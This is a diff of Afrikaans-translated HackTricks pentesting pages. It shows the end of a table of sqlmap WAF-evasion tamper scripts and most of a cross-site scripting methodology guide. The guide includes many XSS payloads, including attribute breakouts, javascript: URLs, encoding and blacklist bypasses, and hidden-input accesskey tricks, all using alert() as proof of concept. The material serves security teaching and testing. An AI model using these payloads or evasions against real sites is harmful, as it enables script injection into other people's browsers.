| modsecurityzeroversioned.py | Omhels volledige navraag met nul-weergawe kommentaar |
|
||||
| multiplespaces.py | Voeg meervoudige spasies rondom SQL sleutelwoorde by |
|
||||
| nonrecursivereplacement.py | Vervang voorafgedefinieerde SQL sleutelwoorde met verteenwoordigings wat geskik is vir vervanging (bv. .replace("SELECT", "")) |
|
||||
| percentage.py | Voeg 'n persentasieteken ('%') voor elke karakter by |
|
||||
| overlongutf8.py | Omskep alle karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie) |
|
||||
| randomcase.py | Vervang elke sleutelwoordkarakter met 'n lukrake gevalwaarde |
|
||||
| randomcomments.py | Voeg lukrake opmerkings by SQL-sleutelwoorde |
|
||||
| securesphere.py | Voeg 'n spesiaal saamgestelde string by |
|
||||
| randomcomments.py | Voeg lukrake opmerkings by SQL sleutelwoorde |
|
||||
| securesphere.py | Voeg 'n spesiaal saamgestelde string by |
|
||||
| sp\_password.py | Voeg 'sp\_password' by die einde van die lading vir outomatiese verduistering van DBMS-logboeke |
|
||||
| space2comment.py | Vervang spatiekarakter (' ') met opmerkings |
|
||||
| space2dash.py | Vervang spatiekarakter (' ') met 'n streepopmerking ('--') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n') |
|
||||
| space2hash.py | Vervang spatiekarakter (' ') met 'n pondkarakter ('#') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n') |
|
||||
| space2morehash.py | Vervang spatiekarakter (' ') met 'n pondkarakter ('#') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n') |
|
||||
| space2dash.py | Vervang spatiekarakter (' ') met 'n streepopmerking ('--') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n') |
|
||||
| space2hash.py | Vervang spatiekarakter (' ') met 'n pondkarakter ('#') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n') |
|
||||
| space2morehash.py | Vervang spatiekarakter (' ') met 'n pondkarakter ('#') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n') |
|
||||
| space2mssqlblank.py | Vervang spatiekarakter (' ') met 'n lukrake leë karakter van 'n geldige stel alternatiewe karakters |
|
||||
| space2mssqlhash.py | Vervang spatiekarakter (' ') met 'n pondkarakter ('#') gevolg deur 'n nuwe lyn ('\n') |
|
||||
| space2mysqlblank.py | Vervang spatiekarakter (' ') met 'n lukrake leë karakter van 'n geldige stel alternatiewe karakters |
|
||||
|
@ -197,29 +197,29 @@ Onthou dat **jy jou eie tamper in Python kan skep** en dit is baie eenvoudig. Jy
|
|||
| space2randomblank.py | Vervang spatiekarakter (' ') met 'n lukrake leë karakter van 'n geldige stel alternatiewe karakters |
|
||||
| symboliclogical.py | Vervang AND en OF logiese operateurs met hul simboliese teenhangers (&& en |
|
||||
| unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
|
||||
| unmagicquotes.py | Vervang aanhalingstekenkarakter (') met 'n multi-byte kombinasie %bf%27 saam met generiese opmerking aan die einde (om dit te laat werk) |
|
||||
| unmagicquotes.py | Vervang aanhalingstekenkarakter (') met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde (om dit te laat werk) |
|
||||
| uppercase.py | Vervang elke sleutelwoordkarakter met hoofletterwaarde 'INSERT' |
|
||||
| varnish.py | Voeg 'n HTTP-kop 'X-originating-IP' by |
|
||||
| versionedkeywords.py | Sluit elke nie-funksie sleutelwoord in met 'n weergawe MySQL-kommentaar |
|
||||
| versionedmorekeywords.py | Sluit elke sleutelwoord in met 'n weergawe MySQL-kommentaar |
|
||||
| xforwardedfor.py | Voeg 'n vals HTTP-kop 'X-Forwarded-For' by |
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentest**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & kenmerke wat vanaf rekognisering tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, doppe te klap, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentest**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & kenmerke wat vanaf rekognisering tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, doppe te skiet, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
|
@ -16,8 +16,8 @@ As jy belangstel in **hackingsloopbaan** en die onhackbare wil hack - **ons is a
|
|||
1. Kan jy nuwe HTML-etikette skep?
|
||||
2. Kan jy gebeure of eienskappe gebruik wat die `javascript:` protokol ondersteun?
|
||||
3. Kan jy beskermings omseil?
|
||||
4. Word die HTML-inhoud deur enige kliëntkant-JS-enjin geïnterpreteer (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliëntkant-sjablooninspuiting**](../client-side-template-injection-csti.md) misbruik.
|
||||
5. As jy nie HTML-etikette kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Merk - HTML-skriptlose inspuiting**](../dangling-markup-html-scriptless-injection/) misbruik?
|
||||
4. Word die HTML-inhoud deur enige kliëntkant JS-enjin geïnterpreteer (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliëntkant Sjablooninspuiting**](../client-side-template-injection-csti.md) misbruik.
|
||||
5. As jy nie HTML-etikette kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Merkteken - HTML-skriptlose inspuiting**](../dangling-markup-html-scriptless-injection/) misbruik?
|
||||
2. Binne 'n **HTML-etiket**:
|
||||
1. Kan jy na rou HTML-konteks ontsnap?
|
||||
2. Kan jy nuwe gebeure/eienskappe skep om JS-kode uit te voer?
|
||||
|
@ -33,7 +33,7 @@ As jy belangstel in **hackingsloopbaan** en die onhackbare wil hack - **ons is a
|
|||
4. Indien **gebruik**:
|
||||
1. Jy kan 'n **DOM XSS** uitbuit, let op hoe jou inset beheer word en of jou **beheerde inset deur enige sink gebruik word**.
|
||||
|
||||
Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te weet oor:
|
||||
Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om van die volgende te weet:
|
||||
|
||||
{% content-ref url="debugging-client-side-js.md" %}
|
||||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||||
|
@ -41,11 +41,11 @@ Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te weet oor
|
|||
|
||||
## Weerspieëlde waardes
|
||||
|
||||
Om 'n XSS suksesvol uit te buit, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat in die webbladsy weerspieël word**.
|
||||
Om suksesvol 'n XSS uit te buit, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat in die webbladsy weerspieël word**.
|
||||
|
||||
* **Tussenliggend weerspieël**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webbladsy weerspieël word, kan jy 'n **Weerspieëlde XSS** uitbuit.
|
||||
* **Gestoor en weerspieël**: As jy vind dat 'n waarde wat deur jou beheer word op die bediener gestoor word en elke keer as jy 'n bladsy besoek weerspieël word, kan jy 'n **Gestoorde XSS** uitbuit.
|
||||
* **Toegang via JS**: As jy vind dat 'n waarde wat deur jou beheer word met JS gebruik word, kan jy 'n **DOM XSS** uitbuit.
|
||||
* **Gestoor en weerspieël**: As jy vind dat 'n waarde wat deur jou beheer word, op die bediener gestoor word en elke keer as jy 'n bladsy besoek, weerspieël word, kan jy 'n **Gestoorde XSS** uitbuit.
|
||||
* **Toegang via JS**: As jy vind dat 'n waarde wat deur jou beheer word, met JS toegang verkry word, kan jy 'n **DOM XSS** uitbuit.
|
||||
|
||||
## Kontekste
|
||||
|
||||
|
@ -54,7 +54,7 @@ Wanneer jy probeer om 'n XSS uit te buit, is die eerste ding wat jy moet weet **
|
|||
### Rou HTML
|
||||
|
||||
As jou inset **weerspieël word op die rou HTML**-bladsy, sal jy enige **HTML-etiket** moet misbruik om JS-kode uit te voer: `<img , <iframe , <svg , <script` ... dit is net 'n paar van die vele moontlike HTML-etikette wat jy kan gebruik.\
|
||||
Hou ook [Kliëntkant-sjablooninspuiting](../client-side-template-injection-csti.md) in gedagte.
|
||||
Hou ook [Kliëntkant Sjablooninspuiting](../client-side-template-injection-csti.md) in gedagte.
|
||||
|
||||
### Binne HTML-etiketseienskap
|
||||
|
||||
|
@ -62,8 +62,8 @@ As jou inset binne die waarde van die eienskap van 'n etiket weerspieël word, k
|
|||
|
||||
1. Om **uit die eienskap en uit die etiket te ontsnap** (dan sal jy in die rou HTML wees) en nuwe HTML-etiket skep om te misbruik: `"><img [...]`
|
||||
2. As jy **uit die eienskap kan ontsnap maar nie uit die etiket nie** (`>` is gekodeer of verwyder), afhangende van die etiket kan jy 'n **gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
|
||||
3. As jy **nie uit die eienskap kan ontsnap nie** (`"` word gekodeer of verwyder), dan afhangende van **watter eienskap** jou waarde weerspieël word in **as jy al die waarde beheer of net 'n deel daarvan** jy kan dit misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, kan jy dit arbitrêre kode laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
4. As jou inset binne "**onuitvoerbare etikette**" weerspieël word, kan jy die **`accesskey`-truc** probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieur nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. As jy **nie uit die eienskap kan ontsnap nie** (`"` word gekodeer of verwyder), dan afhangende van **watter eienskap** jou waarde weerspieël word in **as jy al die waarde beheer of net 'n deel daarvan** jy dit kan misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, kan jy dit arbitrêre kode laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
4. As jou inset binne "**onuitbuitbare etikette**" weerspieël word, kan jy die **`accesskey`-truk** probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieur nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klassenaam beheer:
|
||||
```html
|
||||
|
@ -75,7 +75,7 @@ Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klassenaam beheer:
|
|||
|
||||
In hierdie geval word jou inset weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js` lêer of binne 'n eienskap wat die **`javascript:`** protokol gebruik:
|
||||
|
||||
* As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs as jou inset binne enige soort aanhalingstekens is, kan jy probeer om `</script>` in te spuit en te ontsnap uit hierdie konteks. Dit werk omdat die **blaaier eers die HTML-etikette sal ontled** en dan die inhoud, daarom sal dit nie agterkom dat jou ingespotte `</script>` etiket binne die HTML-kode is nie.
|
||||
* As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs as jou inset binne enige soort aanhalingstekens is, kan jy probeer om `</script>` in te spuit en te ontsnap uit hierdie konteks. Dit werk omdat die **blaaier eers die HTML-etikette sal ontledig** en dan die inhoud, daarom sal dit nie agterkom dat jou ingespotte `</script>` etiket binne die HTML-kode is nie.
|
||||
* As dit weerspieël word **binne 'n JS-string** en die vorige truuk nie werk nie, sal jy die string moet **verlaat**, jou kode **uitvoer** en die JS-kode **herkonstrueer** (as daar enige fout is, sal dit nie uitgevoer word nie):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
|
@ -98,15 +98,15 @@ Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of kl
|
|||
|
||||
### Javascript Funksie
|
||||
|
||||
Verskeie webbladsye het eindpunte wat **die naam van die funksie aanvaar om uit te voer as parameter**. 'n Algemene voorbeeld wat in die wild gesien word, is iets soos: `?callback=callbackFunc`.
|
||||
Verskeie webbladsye het eindpunte wat **die naam van die funksie aanvaar om uit te voer as parameter**. 'n Algemene voorbeeld wat jy in die wild kan sien, is iets soos: `?callback=callbackFunc`.
|
||||
|
||||
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee word, probeer uitgevoer word, is deur **die paramwaarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
|
||||
|
||||
.png>)
|
||||
|
||||
Indien dit vatbaar is, kan jy dalk 'n waarskuwing **trigger** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte die inhoud **valideer** om slegs letters, syfers, kolletjies en onderstrepe toe te laat (**`[\w\._]`**).
|
||||
Indien dit vatbaar is, kan jy dalk 'n **waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte die inhoud **valideer** om slegs letters, syfers, kolletjies en onderstrepe toe te laat (**`[\w\._]`**).
|
||||
|
||||
Nieteenstaande, selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om enige element in die DOM **te benader**:
|
||||
Nietemin, selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om enige element in die DOM **te benader**:
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -130,7 +130,7 @@ Daarom is die **Selfde Oorsprong Metode Uitvoering (SOME)** uitbuiting ontwikkel
|
|||
|
||||
### DOM
|
||||
|
||||
Daar is **JS-kode** wat **onveilig** van 'n aanvaller beheerde data gebruik soos `location.href`. 'n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer.
|
||||
Daar is **JS-kode** wat **onveilig** van 'n aanvaller beheerde data gebruik soos `location.href`. 'n Aanvaller kan dit misbruik om willekeurige JS-kode uit te voer.
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -138,7 +138,7 @@ Daar is **JS-kode** wat **onveilig** van 'n aanvaller beheerde data gebruik soos
|
|||
|
||||
### **Universale XSS**
|
||||
|
||||
Hierdie soort XSS kan **oral** gevind word. Dit hang nie net af van die kliënt-uitbuiting van 'n webtoepassing nie, maar van **enige** **konteks**. Hierdie soort **arbitrêre JavaScript-uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre lêers te lees** op kliënte en bedieners, en meer.\
|
||||
Hierdie soort XSS kan **oral** gevind word. Dit hang nie net af van die kliënt-uitbuiting van 'n webtoepassing nie, maar van **enige** **konteks**. Hierdie soort **willekeurige JavaScript-uitvoering** kan selfs misbruik word om **RCE** te verkry, **willekeurige lêers te lees** op kliënte en bedieners, en meer.\
|
||||
Sommige **voorbeelde**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -155,22 +155,22 @@ Sommige **voorbeelde**:
|
|||
|
||||
## Ins spuiting binne rou HTML
|
||||
|
||||
Wanneer jou inset **binne die HTML-bladsy** gereflekteer word of jy HTML-kode kan ontsnap en in hierdie konteks inspuit, is die **eerste** ding wat jy moet doen, om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net daardie **karakter** weerspieël en kyk of dit **HTML-geënkodeer** word of **verwyder** word of as dit sonder veranderinge **weerspieël** word. **Slegs in die laaste geval sal jy hierdie geval kan uitbuit**.\
|
||||
Vir hierdie gevalle moet jy ook in gedagte hou [**Kliëntkant Sjablooninspuiting**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: 'n HTML-kommentaar kan gesluit word met**** ****`-->`**** ****of**** ****`--!>`**_
|
||||
Wanneer jou inset **binne die HTML-bladsy** gereflekteer word of jy HTML-kode kan ontsnap en inspuit in hierdie konteks, is die **eerste** ding wat jy moet doen, om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **reflekteer** en kyk of dit **HTML-geënkripteer** word of **verwyder** of as dit sonder veranderinge **gereflekteer** word. **Slegs in die laaste geval sal jy hierdie geval kan uitbuit**.\
|
||||
Vir hierdie gevalle moet jy ook in gedag hou [**Kliëntkant Sjablooninspuiting**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: 'n HTML-kommentaar kan gesluit word met**** ****`-->`**** ****of**** ****`--!>`**_
|
||||
|
||||
In hierdie geval en as geen swartlys/witlys gebruik word nie, kan jy ladingstukke soos gebruik:
|
||||
In hierdie geval, en as geen swartlys/witlys gebruik word nie, kan jy ladingstukke soos gebruik:
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Maar, as tags/kenmerke swart/lys word gebruik, sal jy nodig hê om te **brute-force watter tags** jy kan skep.\
|
||||
Sodra jy **geïdentifiseer het watter tags toegelaat word**, sal jy nodig hê om **brute-force kenmerke/gebeurtenisse** binne die gevonde geldige tags te sien om te bepaal hoe jy die konteks kan aanval.
|
||||
Maar, as tags/kenmerke swartlys/witlys gebruik word, sal jy moet **brute-force watter tags** jy kan skep.\
|
||||
Sodra jy **geïdentifiseer het watter tags toegelaat word**, sal jy moet **brute-force kenmerke/gebeurtenisse** binne die gevonde geldige tags om te sien hoe jy die konteks kan aanval.
|
||||
|
||||
### Tags/Gebeurtenisse brute-force
|
||||
|
||||
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na knipbord**_. Stuur dan almal met Burp intruder en kontroleer of enige tags nie as skadelik deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeurtenisse** gebruik deur die geldige tags (op dieselfde webbladsy klik op _**Kopieer gebeurtenisse na knipbord**_ en volg dieselfde prosedure as voorheen).
|
||||
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na knipbord**_. Stuur dan almal met Burp intruder en kontroleer of enige tags nie as skadelik deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeurtenisse** gebruik met die geldige tags (op dieselfde webbladsy klik op _**Kopieer gebeurtenisse na knipbord**_ en volg dieselfde prosedure as voorheen).
|
||||
|
||||
### Aangepaste tags
|
||||
|
||||
|
@ -247,18 +247,18 @@ Om te kontroleer in watter karakters afgebreek word, kyk [hier](https://www.comp
|
|||
|
||||
### Kliek XSS - Clickjacking
|
||||
|
||||
Indien om die kwesbaarheid te misbruik jy die **gebruiker nodig het om op 'n skakel of 'n vorm** met vooraf ingevulde data te kliek, kan jy probeer om [**Clickjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
|
||||
Indien om die kwesbaarheid uit te buit jy die **gebruiker nodig het om op 'n skakel of 'n vorm** met vooraf ingevulde data te kliek, kan jy probeer om [**Clickjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
|
||||
|
||||
### Onmoontlik - Hangende Opmaak
|
||||
|
||||
Indien jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) nagaan omdat jy die kwesbaarheid kan **misbruik** sonder om **JS**-kode uit te voer.
|
||||
Indien jy net dink dat **dit onmoontlik is om 'n HTML-tag te skep met 'n attribuut om JS-kode uit te voer**, moet jy [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) nagaan omdat jy die kwesbaarheid kan **uitbuit** sonder om **JS**-kode uit te voer.
|
||||
|
||||
## Inspruiting binne HTML-tag
|
||||
|
||||
### Binne die tag/ontsnapping vanaf attribuutwaarde
|
||||
|
||||
Indien jy **binne 'n HTML-tag** is, kan jy eerste probeer om uit die tag te **ontsnap** en van die tegnieke wat genoem word in die [vorige afdeling](./#injecting-inside-raw-html) te gebruik om JS-kode uit te voer.\
|
||||
Indien jy **nie kan ontsnap van die tag nie**, kan jy nuwe eienskappe binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload te gebruik soos (_let daarop dat in hierdie voorbeeld dubbele aanhalingstekens gebruik word om te ontsnap vanaf die attribuut, jy sal hulle nie nodig hê as jou inset direk binne die tag weerspieël word_):
|
||||
Indien jy **binne 'n HTML-tag** is, kan jy eerste probeer om te **ontsnap** van die tag en van die tegnieke wat genoem word in die [vorige afdeling](./#injecting-inside-raw-html) gebruik om JS-kode uit te voer.\
|
||||
Indien jy **nie kan ontsnap van die tag nie**, kan jy nuwe eienskappe binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n sekere lading te gebruik (_let daarop dat in hierdie voorbeeld dubbele aanhalingstekens gebruik word om te ontsnap vanaf die attribuut, jy sal hulle nie nodig hê as jou inset direk binne die tag weerspieël word_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -275,10 +275,10 @@ Indien jy **nie kan ontsnap van die tag nie**, kan jy nuwe eienskappe binne die
|
|||
```
|
||||
### Binne die attribuut
|
||||
|
||||
Selfs as jy **nie kan ontsnap van die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde weerspieël as **jy al die waarde beheer of net 'n deel daarvan** sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan maak om willekeurige kode uit te voer wanneer dit geklik word.\
|
||||
Selfs as jy **nie kan ontsnap van die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde weerspieël waaroor jy beheer het **of net 'n deel daarvan** sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan maak om willekeurige kode uit te voer wanneer dit geklik word.\
|
||||
'n Ander interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om willekeurige kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Deurdring binne gebeurtenis deur HTML-kodering/URL-kodering**
|
||||
**Bypass binne gebeurtenis deur HTML-kodering/URL-kodering**
|
||||
|
||||
Die **HTML-gekodeerde karakters** binne die waarde van HTML-etiketattribuute word tydens uitvoering **gedekodeer**. Daarom sal iets soos die volgende geldig wees (die lading is vetgedruk): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
|
@ -303,7 +303,7 @@ Merk op dat **enige soort HTML-kodering geldig is**:
|
|||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Bypass binne gebeurtenis deur Unicode-kodering te gebruik**
|
||||
**Deur Unicode-kodering binne die gebeurtenis te omseil**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
|
@ -365,9 +365,9 @@ Verder is daar nog 'n **mooi truuk** vir hierdie gevalle: **Selfs as jou inset b
|
|||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Merk op dat as jy probeer om **beide** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodeer, sal dit **nie werk nie**, maar jy kan **hulle binne die payload meng**.
|
||||
Merk op dat as jy probeer om **beide** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodeer, sal dit **nie werk nie**, maar jy kan hulle **binne die payload meng**.
|
||||
|
||||
**Gebruik van Hex en Octal kodeer met `javascript:`**
|
||||
**Die gebruik van Hex en Octal kodeer met `javascript:`**
|
||||
|
||||
Jy kan **Hex** en **Octal kodeer** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML-tags te verklaar om JS uit te voer**:
|
||||
```javascript
|
||||
|
@ -411,7 +411,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
```
|
||||
### XSS in "Onuitbuitbare tags" (verborge invoer, skakel, kanonieke, meta)
|
||||
|
||||
Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborge insette te misbruik met:**
|
||||
Vanaf [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborge insette te misbruik met:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
|
@ -424,33 +424,33 @@ En in **meta-tjags**:
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS-lading binne 'n verborge atribuut** uitvoer, mits jy die **slagoffer kan oorreed** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangssleutel atribuut te gebruik. Hier is die vektor:
|
||||
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS-lading binne 'n verborge attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangssleutel attribuut te gebruik. Hier is die vektor:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**Die XSS-lading sal iets soos hierdie wees: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Swartlys Verbygaan
|
||||
### Swartlys deurlooppaaie
|
||||
|
||||
Verskeie truuks met die gebruik van verskillende enkodering is reeds binne hierdie afdeling blootgestel. Gaan **terug om te leer waar jy kan gebruik:**
|
||||
|
||||
* **HTML enkodering (HTML-etikette)**
|
||||
* **Unicode enkodering (kan geldige JS-kode wees):** `\u0061lert(1)`
|
||||
* **URL enkodering**
|
||||
* **Heks en Oktaal enkodering**
|
||||
* **data enkodering**
|
||||
* **HTML-enkodering (HTML-etikette)**
|
||||
* **Unicode-enkodering (kan geldige JS-kode wees):** `\u0061lert(1)`
|
||||
* **URL-enkodering**
|
||||
* **Heks en Oktale enkodering**
|
||||
* **data-enkodering**
|
||||
|
||||
